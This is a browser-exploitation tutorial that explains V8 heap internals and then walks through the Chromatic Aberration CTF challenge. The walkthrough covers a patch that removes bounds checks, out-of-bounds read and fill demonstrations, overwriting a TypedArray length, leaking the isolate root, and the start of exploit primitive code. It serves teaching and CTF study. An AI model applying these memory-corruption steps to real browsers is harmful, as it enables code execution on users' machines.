Contents

Comprehensive guide to browser exploitation

Browser exploitation

Note: This guide contains parts of documentation of other authors. All of them are referenced and you can see the links to the articles in the References section.

Index

What is v8?

V8 is Google’s open source high-performance JavaScript and WebAssembly engine, written in C++. It is used in Chrome and in Node.js, among others. It implements ECMAScript and WebAssembly, and runs on Windows 7 or later, macOS 10.12+, and Linux systems that use x64, IA-32, ARM, or MIPS processors. V8 can run standalone, or can be embedded into any C++ application. [1]

What is pointer compression?

See Syed Faraz Abrar explanation’s about pointer compression in [2].

The v8 heap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000336500000000 0x000033650000c000 0x0000000000000000 rw- 
0x000033650000c000 0x0000336500040000 0x0000000000000000 --- 
0x0000336500040000 0x0000336500041000 0x0000000000000000 rw- 
0x0000336500041000 0x0000336500042000 0x0000000000000000 --- 
0x0000336500042000 0x0000336500052000 0x0000000000000000 r-x 
0x0000336500052000 0x000033650007f000 0x0000000000000000 --- 
0x000033650007f000 0x0000336508040000 0x0000000000000000 --- 
0x0000336508040000 0x000033650805b000 0x0000000000000000 r-- 
0x000033650805b000 0x0000336508080000 0x0000000000000000 --- 
0x0000336508080000 0x000033650818d000 0x0000000000000000 rw- 
0x000033650818d000 0x00003365081c0000 0x0000000000000000 --- 
0x00003365081c0000 0x00003365081c1000 0x0000000000000000 rw- 
0x00003365081c1000 0x0000336508200000 0x0000000000000000 --- 
0x0000336508200000 0x0000336508280000 0x0000000000000000 rw- 
0x0000336508280000 0x0000336600000000 0x0000000000000000 --- 
0x0000555555554000 0x0000555555c8c000 0x0000000000000000 r-- /home/lab/Desktop/CTF/Confidence2020/Chromatic/chromatic_aberration/for_players/bin/d8
0x0000555555c8c000 0x000055555695b000 0x0000000000737000 r-x /home/lab/Desktop/CTF/Confidence2020/Chromatic/chromatic_aberration/for_players/bin/d8
0x000055555695b000 0x00005555569be000 0x0000000001405000 r-- /home/lab/Desktop/CTF/Confidence2020/Chromatic/chromatic_aberration/for_players/bin/d8
0x00005555569be000 0x00005555569c9000 0x0000000001467000 rw- /home/lab/Desktop/CTF/Confidence2020/Chromatic/chromatic_aberration/for_players/bin/d8
0x00005555569c9000 0x0000555556a99000 0x0000000000000000 rw- [heap]
0x00007ffff69dd000 0x00007ffff6a18000 0x0000000000000000 rw- 
0x00007ffff6a18000 0x00007ffff6a19000 0x0000000000000000 --- 
0x00007ffff6a19000 0x00007ffff7c20000 0x0000000000000000 rw- 
0x00007ffff7c20000 0x00007ffff7c45000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7c45000 0x00007ffff7db8000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7db8000 0x00007ffff7e01000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7e01000 0x00007ffff7e04000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7e04000 0x00007ffff7e07000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7e07000 0x00007ffff7e0b000 0x0000000000000000 rw- 
0x00007ffff7e0b000 0x00007ffff7e0e000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7e0e000 0x00007ffff7e1f000 0x0000000000003000 r-x /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7e1f000 0x00007ffff7e23000 0x0000000000014000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7e23000 0x00007ffff7e24000 0x0000000000017000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7e24000 0x00007ffff7e25000 0x0000000000018000 rw- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7e25000 0x00007ffff7e34000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libm-2.29.so
0x00007ffff7e34000 0x00007ffff7eda000 0x000000000000f000 r-x /usr/lib/x86_64-linux-gnu/libm-2.29.so
0x00007ffff7eda000 0x00007ffff7f71000 0x00000000000b5000 r-- /usr/lib/x86_64-linux-gnu/libm-2.29.so
0x00007ffff7f71000 0x00007ffff7f72000 0x000000000014b000 r-- /usr/lib/x86_64-linux-gnu/libm-2.29.so
0x00007ffff7f72000 0x00007ffff7f73000 0x000000000014c000 rw- /usr/lib/x86_64-linux-gnu/libm-2.29.so
0x00007ffff7f73000 0x00007ffff7f76000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/librt-2.29.so
0x00007ffff7f76000 0x00007ffff7f7a000 0x0000000000003000 r-x /usr/lib/x86_64-linux-gnu/librt-2.29.so
0x00007ffff7f7a000 0x00007ffff7f7c000 0x0000000000007000 r-- /usr/lib/x86_64-linux-gnu/librt-2.29.so
0x00007ffff7f7c000 0x00007ffff7f7d000 0x0000000000008000 r-- /usr/lib/x86_64-linux-gnu/librt-2.29.so
0x00007ffff7f7d000 0x00007ffff7f7e000 0x0000000000009000 rw- /usr/lib/x86_64-linux-gnu/librt-2.29.so
0x00007ffff7f7e000 0x00007ffff7f85000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.29.so
0x00007ffff7f85000 0x00007ffff7f94000 0x0000000000007000 r-x /usr/lib/x86_64-linux-gnu/libpthread-2.29.so
0x00007ffff7f94000 0x00007ffff7f99000 0x0000000000016000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.29.so
0x00007ffff7f99000 0x00007ffff7f9a000 0x000000000001a000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.29.so
0x00007ffff7f9a000 0x00007ffff7f9b000 0x000000000001b000 rw- /usr/lib/x86_64-linux-gnu/libpthread-2.29.so
0x00007ffff7f9b000 0x00007ffff7fa1000 0x0000000000000000 rw- 
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

The heap is located in the lowest memmory mappings in the program. In the above image, the sections of the memory that starts with 0x00003365 (32 bits) are all essentially the V8 heap.

Within the same run, the upper 32 bits will remain the same and the lower 32 bits are the ones that changes. Between different runs, the upper 32 bits changes.

Pointer compression

Essentially, they ended up deciding to take the upper 32 bits of the V8 heap’s memory space (known as the isolate root) and storing it in one specific register (R13) that they decided to call the root register. Now, any pointers in the V8 heap are 32-bit pointers that only store the lower 32 bits of their actual 64-bit address.

Note – in the case of the above example, the isolate root would be 0x0000177f00000000

This is what pointer compression is. The pointers on the heap are compressed when they point to somewhere else in the V8 heap. Any time they need to be accessed, the isolate root that is stored in the root register is simply added to the compressed 32 bit address stored in the V8 heap, and then subsequently dereferenced.

A downside to this is that the V8 heap can not be any greater than 4 GB as that is the maximum limit of a 32-bit address space. This is fine for browsers, as the heap doesn’t need to be greater than 4 GB anyway. It becomes a problem with things like node.js that require larger heaps. Because of this, pointer compression is disabled for node.js until a better solution can be figured out.

Compressed pointers are tagged [3], which means the compression was (addr & 1). As a result, you will require you to subtract 1 from them before examining. All compressed pointers last bit is set to 1 because of the (addr & 1), so we simply need to substract it.

Example:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
d8> var a = [1.1,1.2]; %DebugPrint(a);
DebugPrint: 0x106008085835: [JSArray]
 - map: 0x1060081c1891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x1060081884a1 <JSArray[0]>
 - elements: 0x10600808581d <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x1060080406e9 <FixedArray[0]> {
    #length: 0x106008100165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x10600808581d <FixedDoubleArray[2]> {
           0: 1.1
           1: 1.2
 }

If we want to see memory of the object, instead of looking at 0x106008085835 we would need to check 0x106008085835-1:

1
2
3
gef➤  x/4gx 0x106008085835-1
0x106008085834:	0x080406e9081c1891	0x000000040808581d
0x106008085844:	0x080406e9081c18e1	0x0000000408085885
  • 0x080406e9081c1891 points to the map and properties (notice pointer compression)
  • 0x000000040808581d points to elements and also shows array length.
1
2
3
| 32 upper bits (properties) | 32 lower bits (map) |
|----------------------------|---------------------|
| 0x080406e9                 | 0x081c1891          |

As you can see, address to the map, as mentioned before, it would be the isolate root and the 32 lower bits:

1
2
3
4
|         Map Address          |
|--------------|---------------|
| Isolate root | 32 lower bits |
| 0x1060       | 0x081c1891    |
  • map: 0x1060081c1891 and corresponds with the address %DebugPrint gave us.
1
2
3
4
|      Properties Address      |
|--------------|---------------|
| Isolate root | 32 lower bits |
| 0x1060       | 0x080406e9    |
  • Properties: 0x1060080406e9 and corresponds with the address %DebugPrint gave us.
1
2
3
| 32 upper bits (length) | 32 lower bits (elements) |
|------------------------|--------------------------|
| 0x00000004             | 0x0808581d               |
  • Length is calculated shifting 1 bit. So if the array is 2, 0x2«0x1. Which is basically multiplying by 2.
1
2
3
4
|      Elemments Address       |
|--------------|---------------|
| Isolate root | 32 lower bits |
| 0x1060       | 0x0808581d    |
  • Properties: 0x10600808581d and corresponds with the address shown in %DebugPrint.

Fast properties

See [4].

JavaScript objects mostly behave like dictionaries, with string keys and arbitrary objects as values. The specification does however treat integer-indexed properties and other properties differently during iteration. Other than that, the different properties behave mostly the same, independent of whether they are integer indexed or not.

Named properties vs. elements

Let’s analyse a simple object:

{a: "foo", b: "bar"}

1
2
3
4
[
	'a' => 'foo',
	'b' => 'bar
]

This object has two named properties, a and b. It does not have any integer indices for property names. Array-indexed properties, more commonly known as elements, are most prominent on arrays. For instance the array:

["foo", "bar"]

1
2
3
4
[
	0 => 'foo',
	1 => 'bar
]

has two array-indexed properties: 0, with the value foo, and 1, with the value bar. This is the first major distinction on how V8 handles properties in general.

The following diagram shows what a basic JavaScript object looks like in memory.

https://v8.dev/_img/fast-properties/jsobject.png

As shown in the above figure. In a JS object, the named property will be included in the properties section while the indexed one will be included in the elements section.

A more practical example:

As you can see, elements from the array-indexed are included within the elements section.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
d8> var a = [1.1,1.2]; %DebugPrint(a);
DebugPrint: 0x106008085835: [JSArray]
 - map: 0x1060081c1891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x1060081884a1 <JSArray[0]>
 - elements: 0x10600808581d <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x1060080406e9 <FixedArray[0]> {
    #length: 0x106008100165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x10600808581d <FixedDoubleArray[2]> {
           0: 1.1
           1: 1.2
 }

Named property arrays are included in the properties section.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
d8> var a = {'a': 'foo', 'b': 'bar'}
undefined
d8> %DebugPrint(a)
DebugPrint: 0x171108082a09: [JS_OBJECT_TYPE]
 - map: 0x1711081c3759 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x17110818066d <Object map = 0x1711081c01c1>
 - elements: 0x1711080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x1711080406e9 <FixedArray[0]> {
    #a: 0x17110818e711 <String[#3]: foo> (const data field 0)
    #b: 0x17110818e721 <String[#3]: bar> (const data field 1)
 }

HiddenClasses and DescriptorArrays

See [4].

HiddenClass stores meta information about an object, including the number of properties on the object and a reference to the object’s prototype. HiddenClasses are conceptually similar to classes in typical object-oriented programming languages. However, in a prototype-based language such as JavaScript it is generally not possible to know classes upfront. Hence, in this case V8, HiddenClasses are created on the fly and updated dynamically as objects change. HiddenClasses serve as an identifier for the shape of an object and as such a very important ingredient for V8’s optimizing compiler and inline caches. The optimizing compiler for instance can directly inline property accesses if it can ensure a compatible objects structure through the HiddenClass.

Let’s have a look at the important parts of a HiddenClass.

https://v8.dev/_img/fast-properties/hidden-class.png

In V8 the first field of a JavaScript object points to a HiddenClass. (In fact, this is the case for any object that is on the V8 heap and managed by the garbage collector.) In terms of properties, the most important information is the third bit field, which stores the number of properties, and a pointer to the descriptor array. The descriptor array contains information about named properties like the name itself and the position where the value is stored. Note that we do not keep track of integer indexed properties here, hence there is no entry in the descriptor array.

The basic assumption about HiddenClasses is that objects with the same structure — e.g. the same named properties in the same order — share the same HiddenClass. To achieve that we use a different HiddenClass when a property gets added to an object. In the following example we start from an empty object and add three named properties.

https://v8.dev/_img/fast-properties/adding-properties.png

Every time a new property is added, the object’s HiddenClass is changed. In the background V8 creates a transition tree that links the HiddenClasses together. V8 knows which HiddenClass to take when you add, for instance, the property a to an empty object. This transition tree makes sure you end up with the same final HiddenClass if you add the same properties in the same order. The following example shows that we would follow the same transition tree even if we add simple indexed properties in between.

1
2
3
4
5
var a = {}; // C0

a.a = "foo" // C1
a.b = "bar" // C2
a.c = "baz" // C3

https://v8.dev/_img/fast-properties/transitions.png

However, if we create a new object that gets a different property added, in this case property d, V8 creates a separate branch for the new HiddenClasses.

https://v8.dev/_img/fast-properties/transition-trees.png

Practical example

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
d8> var a = {};
undefined
d8> %DebugPrint(a)
DebugPrint: 0x354408082431: [JS_OBJECT_TYPE]
 - map: 0x3544081c02d9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x35440818066d <Object map = 0x3544081c01c1>
 - elements: 0x3544080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x3544080406e9 <FixedArray[0]> {}
0x3544081c02d9: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 4
 - enum length: invalid
 - back pointer: 0x35440804030d <undefined>
 - prototype_validity cell: 0x354408100451 <Cell value= 1>
 - instance descriptors (own) #0: 0x3544080401b5 <DescriptorArray[0]>
 - prototype: 0x35440818066d <Object map = 0x3544081c01c1>
 - constructor: 0x354408180689 <JSFunction Object (sfi = 0x35440810245d)>
 - dependent code: 0x3544080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

Address of HiddenClass C0 is 0x3544081c02d9. Now let’s add a new property:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
d8> a.a = "foo"
"foo"
d8> %DebugPrint(a)
DebugPrint: 0x354408082431: [JS_OBJECT_TYPE]
 - map: 0x3544081c3731 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x35440818066d <Object map = 0x3544081c01c1>
 - elements: 0x3544080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x3544080406e9 <FixedArray[0]> {
    #a: 0x35440818f5f9 <String[#3]: foo> (const data field 0)
 }
0x3544081c3731: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 3
 - enum length: invalid
 - stable_map
 - back pointer: 0x3544081c02d9 <Map(HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x35440818f6e1 <Cell value= 0>
 - instance descriptors (own) #1: 0x354408083c05 <DescriptorArray[1]>
 - prototype: 0x35440818066d <Object map = 0x3544081c01c1>
 - constructor: 0x354408180689 <JSFunction Object (sfi = 0x35440810245d)>
 - dependent code: 0x3544080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

{a: "foo"}

As you can see, the map address updates when a new property is added and it points to Hidden Class C1 (0x3544081c3731). If we add a new property:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
d8> a.b = "bar"
"bar"
d8> %DebugPrint(a)
DebugPrint: 0x354408082431: [JS_OBJECT_TYPE]
 - map: 0x3544081c3759 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x35440818066d <Object map = 0x3544081c01c1>
 - elements: 0x3544080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x3544080406e9 <FixedArray[0]> {
    #a: 0x35440818f5f9 <String[#3]: foo> (const data field 0)
    #b: 0x35440818f761 <String[#3]: bar> (const data field 1)
 }
0x3544081c3759: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 2
 - enum length: invalid
 - stable_map
 - back pointer: 0x3544081c3731 <Map(HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x35440818f6e1 <Cell value= 0>
 - instance descriptors (own) #2: 0x354408083e05 <DescriptorArray[2]>
 - prototype: 0x35440818066d <Object map = 0x3544081c01c1>
 - constructor: 0x354408180689 <JSFunction Object (sfi = 0x35440810245d)>
 - dependent code: 0x3544080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

{a: "foo", b: "bar"}

Now it points to HiddenClass C2 (0x3544081c3759).

Summary of HiddenMaps:

  • Objects with the same structure (same properties in the same order) have the same HiddenClass
  • By default every new named property added causes a new HiddenClass to be created.
  • Adding array-indexed properties does not create new HiddenClasses.

Object’s maps

There is an important bit about v8 that wasn’t discussed yet. Besides the location of property values, Maps also store type information for properties. Consider the following piece of code:

1
2
3
let o = {}
o.a = 1337;
o.b = {x: 42};

After executing it in v8, the Map of o will indicate that the property .a will always be a Smi while property .b will be an Object with a certain Map that will in turn have a property .x of type Smi. In that case, compiling a function such as

1
2
3
function foo(o) {
    return o.b.x;
}

will result in a single Map check for o but no further Map check for the .b property since it is known that .b will always be an Object with a specific Map. If the type information for a property is ever invalidated by assigning a property value of a different type, a new Map is allocated and the type information for that property is widened to include both the previous and the new type.

Let’s see another example considering the following line of code:

1
var x = [1.1, 2.2, 3.3, 4.4];

The output from %DebugPrint(x) is the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
DebugPrint: 0x1d2508082495: [JSArray]
 - map: 0x1d2508241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x1d25082084a1 <JSArray[0]>
 - elements: 0x1d250808246d <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x1d25080406e9 <FixedArray[0]> {
    #length: 0x1d2508180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1d250808246d <FixedDoubleArray[4]> {
           0: 1.1
           1: 2.2
           2: 3.3
           3: 4.4
 }
0x1d2508241891: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x1d2508241869 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x1d2508180451 <Cell value= 1>
 - instance descriptors #1: 0x1d2508208b29 <DescriptorArray[1]>
 - transitions #1: 0x1d2508208b75 <TransitionArray[4]>Transition array #1:
     0x1d2508042e91 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1d25082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x1d25082084a1 <JSArray[0]>
 - constructor: 0x1d2508208375 <JSFunction Array (sfi = 0x1d2508188e41)>
 - dependent code: 0x1d25080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1.1, 2.2, 3.3, 4.4]

Inspecting the object’s pointer at 0x1d2508082495 - 1 we will see how the engine has built the array object.

1
2
3
4
gef➤  x/12wx 0x1d2508082495-1
0x1d2508082494: 0x08241891      0x080406e9      0x0808246d      0x00000008
0x1d25080824a4: 0x08040551      0x3a254b16      0x00000adc      0x7566280a
0x1d25080824b4: 0x6974636e      0x29286e6f      0x220a7b20      0x20657375

You can see that the object pointer points to it’s JSArray (PACKED_DOUBLE_ELEMENTS) map address (0x08241891 - 1), then there is a pointer to the object’s properties (0x080406e9 - 1) and another pointer to it’s elements (0x0808246d - 1). If we want to take a look into the stored values we need to access to element pointer:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
gef➤  x/6xg 0x1d250808246d-1
0x1d250808246c: 0x0000000808040a15      0x3ff199999999999a
0x1d250808247c: 0x400199999999999a      0x400a666666666666
0x1d250808248c: 0x401199999999999a      0x080406e908241891
gef➤  p/f 0x3ff199999999999a
$4 = 1.1000000000000001
gef➤  p/f 0x400199999999999a
$5 = 2.2000000000000002
gef➤  p/f 0x400a666666666666
$6 = 3.2999999999999998
gef➤  p/f 0x401199999999999a
$7 = 4.4000000000000004

Elements address points to FixedDoubleArray map address next to the stored values. These maps that have been appearing in memory while we was investigating each object serve to locate each element inside each type of object, for example, in our case if we want to access to the second value (var a = x[1]) the map will locate that value at JSArray[2][2] = 0x400199999999999a and return it to us. Concluding that object’s maps will act as a dictionary between Javascript and memory to locate each value.

Chromatic aberration

Setup

We have prepared a docker file with the patch already applied to v8, so you can work directly with the compiled binaries:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from ubuntu:latest

RUN apt-get update && apt-get upgrade -y
RUN apt-get install build-essential -y
RUN apt-get install wget -y

RUN apt-get install gdb -y
RUN apt-get install git -y

RUN wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh

RUN mkdir -p /root/pwn/
WORKDIR /root/pwn/
COPY ./chromatic_aberration.tar ./
RUN tar -xvf ./chromatic_aberration.tar && rm ./chromatic_aberration.tar
RUN mv ./chromatic_aberration/for_players/ ./ && rm -rf ./chromatic_aberration/ && mv ./for_players ./chromatic_aberration

RUN echo "export LC_CTYPE=C.UTF-8" >> ~/.bashrc
RUN echo "export PATH=/root/pwn/chromatic_aberration/bin:$PATH" >> ~/.bashrc

RUN apt-get autoremove -y

The bug

Two modifications were applied:

Strings:

1
2
3
4
5
6
7
8
9
src/builtins/builtins-string.tq
@@ -81,7 +81,7 @@ namespace string {
         const kMaxStringLengthFitsSmi: constexpr bool =
             kStringMaxLengthUintptr < kSmiMaxValue;
         StaticAssert(kMaxStringLengthFitsSmi);
-        if (index >= length) goto IfOutOfBounds;
+        // if (index >= length) goto IfOutOfBounds;
         goto IfInBounds(string, index, length);
       }

TypedArrays:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
src/builtins/builtins-typed-array.cc
@@ -131,13 +131,15 @@ BUILTIN(TypedArrayPrototypeFill) {
     if (!num->IsUndefined(isolate)) {
       ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
           isolate, num, Object::ToInteger(isolate, num));
-      start = CapRelativeIndex(num, 0, len);
+      //start = CapRelativeIndex(num, 0, len);
+      start = CapRelativeIndex(num, 0, 100000000);
       num = args.atOrUndefined(isolate, 3);
       if (!num->IsUndefined(isolate)) {
         ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
             isolate, num, Object::ToInteger(isolate, num));
-        end = CapRelativeIndex(num, 0, len);
+        //end = CapRelativeIndex(num, 0, len);
+        end = CapRelativeIndex(num, 0, 100000000);
       }
     }
   }

What we have here is two Out Of Bound (OOB) bug:

  • We have an OOB read in any String object:
1
2
3
4
5
6
$ ./bin/d8
V8 version 8.1.307.20
d8> var a = new String();
undefined
d8> a.charCodeAt(1000);
116
  • We have an OOB fill in TypedArrays:
1
2
3
4
d8> var b = new Uint8Array(8);
undefined
d8> b.fill(0xff, 20, 25);
0

Leaking the isolated root

We define a TypedArray:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
d8> var a = new Uint8Array(8);
undefined
d8> %DebugPrint(a);
DebugPrint: 0x389a08083d4d: [JSTypedArray]
 - map: 0x389a081c04e1 <Map(UINT8ELEMENTS)> [FastProperties]
 - prototype: 0x389a08181ce9 <Object map = 0x389a081c0509>
 - elements: 0x389a08083d3d <ByteArray[8]> [UINT8ELEMENTS]
 - embedder fields: 2
 - buffer: 0x389a08083d0d <ArrayBuffer map = 0x389a081c1189>
 - byte_offset: 0
 - byte_length: 8
 - length: 8
 - data_ptr: 0x389a08083d44
   - base_pointer: 0x8083d3d
   - external_pointer: 0x389a00000007
 - properties: 0x389a080406e9 <FixedArray[0]> {}
 - elements: 0x389a08083d3d <ByteArray[8]> {
         0-7: 0
 }
 
0,0,0,0,0,0,0,0

Accessing to the elements memory address:

1
2
3
4
5
6
gef➤  x/10gx 0x389a08083d3d-1
0x389a08083d3c:	0x0000001008040489	0x0000000000000000
0x389a08083d4c:	0x080406e9081c04e1	0x08083d0d08083d3d
0x389a08083d5c:	0x0000000000000000	0x0000000000000008
0x389a08083d6c:	0x0000000000000008	0x0000389a00000007
0x389a08083d7c:	0x0000000008083d3d	0x0000000000000000

From the above we can see the compressed addresses of:

  • Map: 0x081c04e1
  • Properties: 0x080406e9
  • Elements: 0x08083d3d
  • Buffer: 0x08083d0d
  • Byte offset: 0x0000000000000000
  • Byte length: 0x0000000000000008
  • Length: 0x0000000000000008

Notice that the near memory contains the isolate root! 0x389a.

Lets add a value to our array:

1
2
d8> a.fill(0xff,0,1);
255,0,0,0,0,0,0,0

Lets see the memory again:

1
2
3
4
5
gef➤  x/10gx 0x389a08083d3d-1
0x389a08083d3c:	0x0000001008040489	0x00000000000000ff
0x389a08083d4c:	0x080406e9081c04e1	0x08083d0d08083d3d
0x389a08083d5c:	0x0000000000000000	0x0000000000000008
0x389a08083d6c:	0x0000000000000008	0x0000389a00000007

We can clearly see where the values are being placed. If we could overwrite the length of the array, we would be able to read the isolate root by accessing the array values!

Since we know where values are being inserted, this will be our origin to calculate the offset both for the length and the isolate root.

The offset for the length is 40 (0x28). We can use the array fill OOB bug to overwrite it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
d8> a.fill(0xff, 40, 42);
255,0,0,0,0,0,0,0,225,4,28,8,233,6,4...

d8> %DebugPrint(a);
DebugPrint: 0x389a082c0155: [JSTypedArray]
 - map: 0x389a081c04e1 <Map(UINT8ELEMENTS)> [FastProperties]
 - prototype: 0x389a08181ce9 <Object map = 0x389a081c0509>
 - elements: 0x389a082c31d5 <ByteArray[8]> [UINT8ELEMENTS]
 - embedder fields: 2
 - buffer: 0x389a082c31e5 <ArrayBuffer map = 0x389a081c1189>
 - byte_offset: 0
 - byte_length: 8
 - length: 255
 - data_ptr: 0x389a082c31dc
   - base_pointer: 0x82c31d5
   - external_pointer: 0x389a00000007
 - properties: 0x389a080406e9 <FixedArray[0]> {}
 - elements: 0x389a082c31d5 <ByteArray[8]> {

Since we have overwritten the length (now its 255) we can read other parts from the memory, and we can leak the isolate root!

The offsets for the isolate root are 52 (0x34) and 53 (0x35).

1
2
3
var isolate_root = BigInt((a[0x35] << 8) + a[0x34]);
isolate_root = isolate_root << 32n; 
console.log("[+] Isolate root: 0x" + isolate_root.toString(16))

Isolate root: 0x389a

Leaking map address

Read more in [5].

From now on, if you see a different isolate root, means that I have run again our script and therefore the isolate root changed.

Now we have the following context:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
d8> %DebugPrint(a)
DebugPrint: 0x3aa7085001ad: [JSTypedArray]
 - map: 0x3aa7081c04e1 <Map(UINT8ELEMENTS)> [FastProperties]
 - prototype: 0x3aa708181ce9 <Object map = 0x3aa7081c0509>
 - elements: 0x3aa70850019d <ByteArray[8]> [UINT8ELEMENTS]
 - embedder fields: 2
 - buffer: 0x3aa70850016d <ArrayBuffer map = 0x3aa7081c1189>
 - byte_offset: 0
 - byte_length: 8
 - length: 255
 - data_ptr: 0x3aa7085001a4
   - base_pointer: 0x850019d
   - external_pointer: 0x3aa700000007
 - properties: 0x3aa7080406e9 <FixedArray[0]> {}
 - elements: 0x3aa70850019d <ByteArray[8]> {
 ... 

Using type confussion we can start crafting the primitives of our exploit. In order to do that we will create one array of object and one Typed Array:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
var writer = new Uint8Array(8);

var aux_obj = {"a": 1};
var aux_obj_arr = [aux_obj];
var aux_float_arr = [1.1, 2.2, 3.3];

writer.fill(0xff, 40, 41);
var isolate_root = BigInt((writer[0x35] << 8) + writer[0x34]);
isolate_root = isolate_root << 32n;
console.log("[+] Isolate root: 0x" + isolate_root.toString(16))

